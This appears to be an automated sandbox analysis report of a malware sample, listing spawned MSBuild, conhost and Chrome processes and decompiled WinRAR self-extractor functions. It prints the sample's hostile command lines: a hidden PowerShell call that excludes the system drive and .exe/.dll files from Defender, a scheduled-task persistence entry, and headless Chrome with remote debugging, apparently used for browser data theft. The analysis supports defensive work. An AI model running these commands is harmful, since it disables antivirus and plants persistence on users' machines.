Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 5892, Parent PID: 1832

General

Target ID:	23
Start time:	01:03:47
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x250000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 5952, Parent PID: 1832

General

Target ID:	24
Start time:	01:03:47
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x940000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 6040, Parent PID: 3180

General

Target ID:	25
Start time:	01:03:54
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0xab0000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000019.00000003.371783017.0000000004449000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 6524, Parent PID: 3240

General

Target ID:	26
Start time:	01:03:55
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x100000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 2364, Parent PID: 3240

General

Target ID:	27
Start time:	01:03:55
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x4c0000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 1332, Parent PID: 3240

General

Target ID:	28
Start time:	01:03:56
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:	0x670000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 5464, Parent PID: 3452

General

Target ID:	29
Start time:	01:04:28
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0xc30000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5480, Parent PID: 5464

General

Target ID:	30
Start time:	01:04:29
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 3076, Parent PID: 5952

General

Target ID:	33
Start time:	01:04:36
Start date:	21/04/2023
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):
Commandline:	powershell "Start-Process <#xecasfbbsplyjqqhot#> powershell <#xecasfbbsplyjqqhot#> -Verb <#xecasfbbsplyjqqhot#> runAs" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'
Imagebase:
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: schtasks.exePID: 416, Parent PID: 5952

General

Target ID:	34
Start time:	01:04:36
Start date:	21/04/2023
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):
Commandline:	schtasks /create /sc daily /st 12:00 /f /tn "MSBuild" /tr "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5436, Parent PID: 3076

General

Target ID:	35
Start time:	01:04:36
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5440, Parent PID: 416

General

Target ID:	36
Start time:	01:04:36
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 5300, Parent PID: 3452

General

Target ID:	37
Start time:	01:04:39
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: MSBuild.exePID: 5304, Parent PID: 1080

General

Target ID:	38
Start time:	01:04:39
Start date:	21/04/2023
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Imagebase:
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 628, Parent PID: 5300

General

Target ID:	39
Start time:	01:04:39
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5244, Parent PID: 5304

General

Target ID:	40
Start time:	01:04:40
Start date:	21/04/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6076, Parent PID: 6040

General

Target ID:	41
Start time:	01:04:57
Start date:	21/04/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=39002 --headless --user-data-dir="C:\Users\user\AppData\Local\Google\Chrome\User DataFBP6W" --profile-directory="Default
Imagebase:
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6992, Parent PID: 6076

General

Target ID:	42
Start time:	01:04:58
Start date:	21/04/2023
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --use-angle=swiftshader-webgl --use-gl=angle --headless --mojo-platform-channel-handle=1584 --field-trial-handle=1348,i,16064085096142150316,3896965374088151555,131072 --disable-features=PaintHolding /prefetch:8
Imagebase:
File size:	2851656 bytes
MD5 hash:	0FEC2748F363150DC54C1CAFFB1A9408
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5028, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	10.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	1505
Total number of Limit Nodes:	22

Executed Functions

Function 013BC130 Relevance: 38.7, APIs: 17, Strings: 5, Instructions: 199
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 15%

			E013BC130(void* __edx, void* __ebp, void* __eflags, void* __fp0, void* _a108, void* _a110, void* _a114, void* _a116, void* _a118, void* _a120, void* _a122, void* _a124, void* _a128, void* _a160, void* _a164, void* _a204) {
				char _v192;
				void* __ebx;
				void* __edi;
				void* _t41;
				void* _t42;
				long _t51;
				void* _t54;
				intOrPtr _t58;
				struct HWND__* _t74;
				void* _t75;
				WCHAR* _t95;
				struct HINSTANCE__* _t97;
				intOrPtr _t99;
				void* _t103;
				void* _t104;
				void* _t105;
				void* _t106;
				void* _t124;

				_t124 = __fp0;
				_t102 = __ebp;
				_t89 = __edx;
				E013AF3A5(__edx, 1);
				E013B8B8D(0x13e2120, 0x800);
				E013B9035( &_v192); // executed
				E013B0710(0x13e1e98);
				_t74 = 0;
				E013BDE40(0x7104, 0x13f0828, 0, 0x7104);
				_t105 = _t104 + 0xc;
				_t95 = GetCommandLineW();
				_t109 = _t95;
				if(_t95 != 0) {
					_push(_t95);
					E013BA8D3(0, _t109);
					if( *0x13e4129 == 0) {
						E013BBE09(__eflags, _t95);
					} else {
						_push(__ebp);
						_t103 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						if(_t103 != 0) {
							UnmapViewOfFile(_t75);
							_t74 = 0;
						}
						CloseHandle(_t103);
						_pop(_t102);
					}
				}
				GetModuleFileNameW(_t74, 0x13f7938, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x13f7938); // executed
				GetLocalTime(_t105 + 0xc);
				_push( *(_t105 + 0x1a) & 0x0000ffff);
				_push( *(_t105 + 0x1c) & 0x0000ffff);
				_push( *(_t105 + 0x1e) & 0x0000ffff);
				_push( *(_t105 + 0x20) & 0x0000ffff);
				_push( *(_t105 + 0x22) & 0x0000ffff);
				_push( *(_t105 + 0x22) & 0x0000ffff);
				E013A3F2B(_t105 + 0x8c, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d",  *(_t105 + 0x24) & 0x0000ffff);
				_t106 = _t105 + 0x28;
				SetEnvironmentVariableW(L"sfxstime", _t106 + 0x6c);
				_t97 = GetModuleHandleW(_t74);
				 *0x13dcba8 = _t97;
				 *0x13dcba4 = _t97; // executed
				_t41 = LoadIconW(_t97, 0x64); // executed
				 *0x13e622c = _t41; // executed
				_t42 = E013B9A75(_t89, _t124); // executed
				 *0x13f0824 = _t42;
				E013ACAF7(0x13dcbd4, _t89, _t102, 0, 0x13f7938);
				E013B7B12(_t106 + 0x48);
				E013B7B12(_t106 + 0x24);
				 *0x13e2110 = _t106 + 0x54;
				 *0x13e2114 = _t106 + 0x30; // executed
				DialogBoxParamW(_t97, L"STARTDLG", _t74, E013B9B4E, _t74); // executed
				 *0x13e2114 = _t74;
				 *0x13e2110 = _t74;
				E013B7B92(_t106 + 0x24);
				E013B7B92(_t106 + 0x48);
				_t51 =  *0x13f8948;
				if(_t51 != 0) {
					Sleep(_t51);
				}
				if( *0x13e3120 != 0) {
					E013B9236(0x13f7938);
				}
				E013ADEB9(0x13f0720);
				if( *0x13e210c > 0) {
					L013C20BE( *0x13e2108);
				}
				DeleteObject( *0x13e622c);
				_t54 =  *0x13f0824;
				if(_t54 != 0) {
					DeleteObject(_t54);
				}
				if( *0x13dcbe8 == 0 &&  *0x13e20ff != 0) {
					E013A6E8B(0x13dcbe8, 0xff);
				}
				_t55 =  *0x13f894c;
				 *0x13e20ff = 1;
				if( *0x13f894c != 0) {
					E013BBE68(_t55);
					CloseHandle( *0x13f894c);
				}
				_t99 =  *0x13dcbe8; // 0x0
				if( *0x13f8941 != 0) {
					_t58 =  *0x13da150; // 0x3e8
					if( *0x13f8942 == 0) {
						__eflags = _t58;
						if(_t58 < 0) {
							_t99 = _t99 - _t58;
							__eflags = _t99;
						}
					} else {
						_t99 =  *0x13f8944;
						if(_t58 > 0) {
							_t99 = _t99 + _t58;
						}
					}
				}
				E013B909D(_t106 + 0x1c); // executed
				return _t99;
			}

0x013bc130
0x013bc130
0x013bc130
0x013bc13b
0x013bc14a
0x013bc153
0x013bc15d
0x013bc167
0x013bc170
0x013bc175
0x013bc17e
0x013bc180
0x013bc182
0x013bc184
0x013bc185
0x013bc190
0x013bc1fd
0x013bc192
0x013bc192
0x013bc1a5
0x013bc1a9
0x013bc1ea
0x013bc1f0
0x013bc1f0
0x013bc1f3
0x013bc1f9
0x013bc1f9
0x013bc190
0x013bc20e
0x013bc220
0x013bc227
0x013bc232
0x013bc238
0x013bc23e
0x013bc244
0x013bc24a
0x013bc250
0x013bc266
0x013bc26b
0x013bc278
0x013bc281
0x013bc286
0x013bc28c
0x013bc292
0x013bc298
0x013bc29d
0x013bc2a8
0x013bc2ad
0x013bc2b6
0x013bc2bf
0x013bc2cf
0x013bc2de
0x013bc2e3
0x013bc2ed
0x013bc2f3
0x013bc2f9
0x013bc302
0x013bc307
0x013bc30e
0x013bc311
0x013bc311
0x013bc31e
0x013bc320
0x013bc320
0x013bc32a
0x013bc336
0x013bc33e
0x013bc343
0x013bc350
0x013bc352
0x013bc359
0x013bc35c
0x013bc35c
0x013bc365
0x013bc37a
0x013bc37a
0x013bc37f
0x013bc384
0x013bc38d
0x013bc390
0x013bc39b
0x013bc39b
0x013bc3a8
0x013bc3ae
0x013bc3b7
0x013bc3bc
0x013bc3cc
0x013bc3ce
0x013bc3d0
0x013bc3d0
0x013bc3d0
0x013bc3be
0x013bc3be
0x013bc3c6
0x013bc3c8
0x013bc3c8
0x013bc3c6
0x013bc3bc
0x013bc3d6
0x013bc3e6

APIs

Part of subcall function 013AF3A5: GetModuleHandleW.KERNEL32 ref: 013AF3BD
Part of subcall function 013AF3A5: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 013AF3D5
Part of subcall function 013AF3A5: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 013AF3F8

Part of subcall function 013B8B8D: GetCurrentDirectoryW.KERNEL32(?,?), ref: 013B8B95

Part of subcall function 013B9035: OleInitialize.OLE32(00000000), ref: 013B904E
Part of subcall function 013B9035: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 013B9085
Part of subcall function 013B9035: SHGetMalloc.SHELL32(013E20E8), ref: 013B908F

Part of subcall function 013B0710: GetCPInfo.KERNEL32(00000000,?), ref: 013B0721
Part of subcall function 013B0710: IsDBCSLeadByte.KERNEL32(00000000), ref: 013B0735

GetCommandLineW.KERNEL32 ref: 013BC178
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 013BC19F
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 013BC1B0
UnmapViewOfFile.KERNEL32(00000000), ref: 013BC1EA

Part of subcall function 013BBE09: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 013BBE1F
Part of subcall function 013BBE09: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 013BBE5B

CloseHandle.KERNEL32(00000000), ref: 013BC1F3
GetModuleFileNameW.KERNEL32(00000000,013F7938,00000800), ref: 013BC20E
SetEnvironmentVariableW.KERNELBASE(sfxname,013F7938), ref: 013BC220
GetLocalTime.KERNEL32(?), ref: 013BC227
_swprintf.LIBCMT ref: 013BC266
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 013BC278
GetModuleHandleW.KERNEL32(00000000), ref: 013BC27B
LoadIconW.USER32(00000000,00000064), ref: 013BC292
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00019B4E,00000000), ref: 013BC2E3
Sleep.KERNEL32(?), ref: 013BC311
DeleteObject.GDI32 ref: 013BC350
DeleteObject.GDI32(?), ref: 013BC35C

Part of subcall function 013BA8D3: CharUpperW.USER32(?,?,?,?,00001000), ref: 013BA92B
Part of subcall function 013BA8D3: CharUpperW.USER32(?,?,?,?,?,00001000), ref: 013BA952

CloseHandle.KERNEL32 ref: 013BC39B

Strings

sfxstime, xrefs: 013BC273
sfxname, xrefs: 013BC21B
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 013BC257
STARTDLG, xrefs: 013BC2D8
winrarsfxmappingfile.tmp, xrefs: 013BC193

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCharCloseDeleteObjectProcUpperView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 985665271-3710569615
Opcode ID: 6d30e6c6b64bbd4f799cce01c4cd3afe9cf4134419a24bef631b0e5c1f49c76d
Instruction ID: 6f45147e99e5898ee9c00d44f90c92dfdc494d77ad1879a3d7befce8990a1d6a
Opcode Fuzzy Hash: 6d30e6c6b64bbd4f799cce01c4cd3afe9cf4134419a24bef631b0e5c1f49c76d
Instruction Fuzzy Hash: DE61C371905305AFE334AB69EC89EAB3BECEB5870CF44041DF74597685EA788904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013B8BCF Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E013B8BCF(WCHAR* _a4) {
				WCHAR* _v4;
				intOrPtr _v8;
				intOrPtr* _v16;
				char _v20;
				void* __ecx;
				struct HRSRC__* _t14;
				WCHAR* _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t26;
				char* _t30;
				long _t32;
				void* _t34;
				intOrPtr* _t35;
				void* _t40;
				struct HRSRC__* _t42;
				intOrPtr* _t44;

				_t14 = FindResourceW( *0x13dcba4, _a4, "PNG"); // executed
				_t42 = _t14;
				if(_t42 == 0) {
					return _t14;
				}
				_t32 = SizeofResource( *0x13dcba4, _t42);
				if(_t32 == 0) {
					L4:
					_t16 = 0;
					L16:
					return _t16;
				}
				_t17 = LoadResource( *0x13dcba4, _t42);
				if(_t17 == 0) {
					goto L4;
				}
				_t18 = LockResource(_t17);
				_t43 = _t18;
				if(_t18 != 0) {
					_v4 = 0;
					_t19 = GlobalAlloc(2, _t32); // executed
					_t40 = _t19;
					if(_t40 == 0) {
						L15:
						_t16 = _v4;
						goto L16;
					}
					if(GlobalLock(_t40) == 0) {
						L14:
						GlobalFree(_t40);
						goto L15;
					}
					E013BDFA0(_t20, _t43, _t32);
					_a4 = 0;
					_push( &_a4);
					_push(0);
					_push(_t40);
					if( *0x13dab5c() == 0) {
						_t26 = E013B8B64(_t24, _t34, _v8, 0); // executed
						_t35 = _v16;
						_t44 = _t26;
						 *((intOrPtr*)( *_t35 + 8))(_t35);
						if(_t44 != 0) {
							 *((intOrPtr*)(_t44 + 8)) = 0;
							if( *((intOrPtr*)(_t44 + 8)) == 0) {
								_push(0xffffff);
								_t30 =  &_v20;
								_push(_t30);
								_push( *((intOrPtr*)(_t44 + 4)));
								L013BCD9A(); // executed
								if(_t30 != 0) {
									 *((intOrPtr*)(_t44 + 8)) = _t30;
								}
							}
							 *((intOrPtr*)( *_t44))(1);
						}
					}
					GlobalUnlock(_t40);
					goto L14;
				}
				goto L4;
			}

0x013b8be0
0x013b8be6
0x013b8bea
0x013b8cc7
0x013b8cc7
0x013b8bfe
0x013b8c02
0x013b8c22
0x013b8c22
0x013b8cc4
0x00000000
0x013b8cc4
0x013b8c0b
0x013b8c13
0x00000000
0x00000000
0x013b8c16
0x013b8c1c
0x013b8c20
0x013b8c30
0x013b8c34
0x013b8c3a
0x013b8c3e
0x013b8cbe
0x013b8cbe
0x00000000
0x013b8cc3
0x013b8c49
0x013b8cb7
0x013b8cb8
0x00000000
0x013b8cb8
0x013b8c4e
0x013b8c56
0x013b8c5e
0x013b8c5f
0x013b8c60
0x013b8c69
0x013b8c70
0x013b8c75
0x013b8c79
0x013b8c7e
0x013b8c83
0x013b8c88
0x013b8c8d
0x013b8c8f
0x013b8c94
0x013b8c98
0x013b8c99
0x013b8c9c
0x013b8ca3
0x013b8ca5
0x013b8ca5
0x013b8ca3
0x013b8cae
0x013b8cae
0x013b8c83
0x013b8cb1
0x00000000
0x013b8cb1
0x00000000

APIs

FindResourceW.KERNELBASE(00000066,PNG,?,?,013B9AC7,00000066), ref: 013B8BE0
SizeofResource.KERNEL32(00000000,751F5B70,?,?,013B9AC7,00000066), ref: 013B8BF8
LoadResource.KERNEL32(00000000,?,?,013B9AC7,00000066), ref: 013B8C0B
LockResource.KERNEL32(00000000,?,?,013B9AC7,00000066), ref: 013B8C16
GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,013B9AC7,00000066), ref: 013B8C34
GlobalLock.KERNEL32 ref: 013B8C41
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 013B8C9C
GlobalUnlock.KERNEL32(00000000), ref: 013B8CB1
GlobalFree.KERNEL32 ref: 013B8CB8

Strings

PNG, xrefs: 013B8BD1

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: ae89a7efe78c26a892d5dda2b05ca34a6bd30c7aa7bc433a9d0febff1a496ab5
Instruction ID: 4d3e342038cb5508ec2415f374ab3998d06a260b3920f11b8a89508748f07ea1
Opcode Fuzzy Hash: ae89a7efe78c26a892d5dda2b05ca34a6bd30c7aa7bc433a9d0febff1a496ab5
Instruction Fuzzy Hash: EA2180B5602206AFDB219F35ED8896BBEACEF45B54F00446CFA45C2654EB31D800CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 013AA2C3 Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 80%

			E013AA2C3(void* __edx, intOrPtr _a4, intOrPtr _a8, char _a32, short _a592, void* _a4692, WCHAR* _a4696, intOrPtr _a4700) {
				struct _WIN32_FIND_DATAW _v0;
				char _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				signed int _t43;
				signed int _t49;
				signed int _t63;
				void* _t65;
				long _t68;
				char _t69;
				void* _t73;
				void* _t82;
				intOrPtr _t84;
				void* _t87;
				signed int _t89;
				void* _t90;

				_t82 = __edx;
				E013BCEC0();
				_push(_t89);
				_t87 = _a4692;
				_t84 = _a4700;
				_t90 = _t89 | 0xffffffff;
				_push( &_v0);
				if(_t87 != _t90) {
					_t43 = FindNextFileW(_t87, ??);
					__eflags = _t43;
					if(_t43 == 0) {
						_t87 = _t90;
						_t63 = GetLastError();
						__eflags = _t63 - 0x12;
						_t11 = _t63 != 0x12;
						__eflags = _t11;
						 *((char*)(_t84 + 0x1044)) = _t63 & 0xffffff00 | _t11;
					}
					__eflags = _t87 - _t90;
					if(_t87 != _t90) {
						goto L13;
					}
				} else {
					_t65 = FindFirstFileW(_a4696, ??); // executed
					_t87 = _t65;
					if(_t87 != _t90) {
						L13:
						E013AF160(_t84, _a4696, 0x800);
						_push(0x800);
						E013AB952(__eflags, _t84,  &_a32);
						_t49 = 0 + _a8;
						__eflags = _t49;
						 *(_t84 + 0x1000) = _t49;
						asm("adc ecx, 0x0");
						 *((intOrPtr*)(_t84 + 0x1008)) = _v24;
						 *((intOrPtr*)(_t84 + 0x1028)) = _v20;
						 *((intOrPtr*)(_t84 + 0x102c)) = _v16;
						 *((intOrPtr*)(_t84 + 0x1030)) = _v12;
						 *((intOrPtr*)(_t84 + 0x1034)) = _v8;
						 *((intOrPtr*)(_t84 + 0x1038)) = _v4;
						 *(_t84 + 0x103c) = _v0.dwFileAttributes;
						 *((intOrPtr*)(_t84 + 0x1004)) = _a4;
						E013B01AF(_t84 + 0x1010, _t82,  &_v4);
						E013B01AF(_t84 + 0x1018, _t82,  &_v24);
						E013B01AF(_t84 + 0x1020, _t82,  &_v20);
					} else {
						if(E013AB2C5(_a4696,  &_a592, 0x800) == 0) {
							L4:
							_t68 = GetLastError();
							if(_t68 == 2 || _t68 == 3 || _t68 == 0x12) {
								_t69 = 0;
								__eflags = 0;
							} else {
								_t69 = 1;
							}
							 *((char*)(_t84 + 0x1044)) = _t69;
						} else {
							_t73 = FindFirstFileW( &_a592,  &_v0); // executed
							_t87 = _t73;
							if(_t87 != _t90) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t84 + 0x1040) =  *(_t84 + 0x1040) & 0x00000000;
				return _t87;
			}

0x013aa2c3
0x013aa2c8
0x013aa2ce
0x013aa2d0
0x013aa2dc
0x013aa2e3
0x013aa2e6
0x013aa2e9
0x013aa35e
0x013aa364
0x013aa366
0x013aa368
0x013aa36a
0x013aa370
0x013aa373
0x013aa373
0x013aa376
0x013aa376
0x013aa37c
0x013aa37e
0x00000000
0x00000000
0x013aa2eb
0x013aa2f8
0x013aa2fa
0x013aa2fe
0x013aa384
0x013aa392
0x013aa397
0x013aa39e
0x013aa3a9
0x013aa3a9
0x013aa3ad
0x013aa3b7
0x013aa3ba
0x013aa3c4
0x013aa3ce
0x013aa3d8
0x013aa3e2
0x013aa3ec
0x013aa3f6
0x013aa400
0x013aa40d
0x013aa41d
0x013aa42d
0x013aa304
0x013aa31f
0x013aa336
0x013aa336
0x013aa33f
0x013aa350
0x013aa350
0x013aa34b
0x013aa34d
0x013aa34d
0x013aa352
0x013aa321
0x013aa32e
0x013aa330
0x013aa334
0x00000000
0x00000000
